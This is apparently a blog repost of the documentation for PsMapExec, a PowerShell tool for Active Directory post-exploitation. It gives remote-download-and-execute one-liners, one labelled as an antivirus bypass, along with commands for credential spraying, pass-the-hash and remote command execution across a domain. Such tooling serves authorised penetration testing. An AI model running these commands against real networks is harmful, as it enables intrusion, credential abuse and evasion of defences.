PsMapExec: Active Directory post-exploitation tool

by ddos · January 28, 2025

What is PsMapExec

A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.

PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.

What methods does it support?

Currently supported methods (Protocols)

RDP
SessionHunter
SMB
SMB Signing
Spraying (Hash, Password, EmptyPassword and AccountAsPassword)
VNC
WinRM
WMI

Planned methods

MSSQL (In testing)
IPMI
SNMP (In testing)
FTP
SSH

Usage

Load the script directly into memory (Bypass AV)

IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1”);IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1”)

Load the script directly into memory

IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1”)

Targets Acquisition

Target acquisition through PsMapExec is utilized through ADSI Searcher. As long as you are operating from a domain-joined system as a domain user account, no issues should be encountered when acquiring targets. By default only enabled Active Directory computer accounts are populated into the target list. PsMapExec will set the Domain to the current user domain unless -Domain is specified. IP Address specification and targets from a file are currently unsupported but in development.

[pastacode lang=”markup” message=”” highlight=”” provider=”manual” manual=”%23%20Grabs%20all%20workstations%2C%20servers%20and%20domain%20controllers%20within%20the%20domain%0APsMapExec%20-Targets%20All%0A%0A%23%20Grabs%20all%20workstations%2C%20servers%20and%20domain%20controllers%20on%20the%20specified%20domain%0APsMapExec%20-Targets%20All%20-Domain%20%5BDomain%5D%0A%0A%23%20Grabs%20only%20servers%20from%20the%20domain%0APsMapExec%20-Targets%20Servers%0A%0A%23%20Grabs%20only%20Domain%20Controllers%20from%20the%20domain%0APsMapExec%20-Targets%20DCs%0A%0A%23%20Grabs%20only%20workstations%20from%20the%20domain%0APsMapExec%20-Targets%20Workstations%0A%0A%23%20Set%20the%20target%20values%20to%20a%20defined%20computer%20name%0APsMapExec%20-Targets%20DC01.Security.local”/]

Authentication Types

When -Command and -Module are omitted, PsMapExec will simply check the provided or current user credentials against the specified target systems for administrative access over the specified method.

[pastacode lang=”markup” message=”” highlight=”” provider=”manual” manual=”%23%20Current%20user%0APsMapExec%20-Targets%20All%20-Method%20%5BMethod%5D%0A%0A%23%20With%20Password%0APsMapExec%20-Targets%20All%20-Method%20%5BMethod%5D%20-Username%20%5BUsername%5D%20-Password%20%5BPassword%5D%0A%0A%23%20With%20Hash%0APsMapExec%20-Targets%20All%20-Method%20%5BMethod%5D%20-Username%20%5BUsername%5D%20-Hash%20%5BRC4%2FAES256%5D%0A%0A%23%20With%20Ticket%0APsMapExec%20-Targets%20All%20-Method%20%5BMethod%5D%20-Ticket%20%5BdoI..%20OR%20Path%20to%20ticket%20file%5D%0A%0A%23%20Local%20Authentication%20(WMI%20only)%0APsMapExec%20-Targets%20All%20-Method%20WMI%20-LocalAuth”/]

Command Execution

All currently supported command execution methods support the -Command parameter. The command parameter can be appended to the above Authentication Types to execute given commands as a specified or the current user.

PsMapExec -Targets All -Method [Method] -Command [Command]

Module Execution

All currently supported command execution methods support the -Module parameter. The module parameter can be appended to the Authentication Types to execute given modules as specified or the current user.

PsMapExec -Targets All -Method [Method] -Module [Module]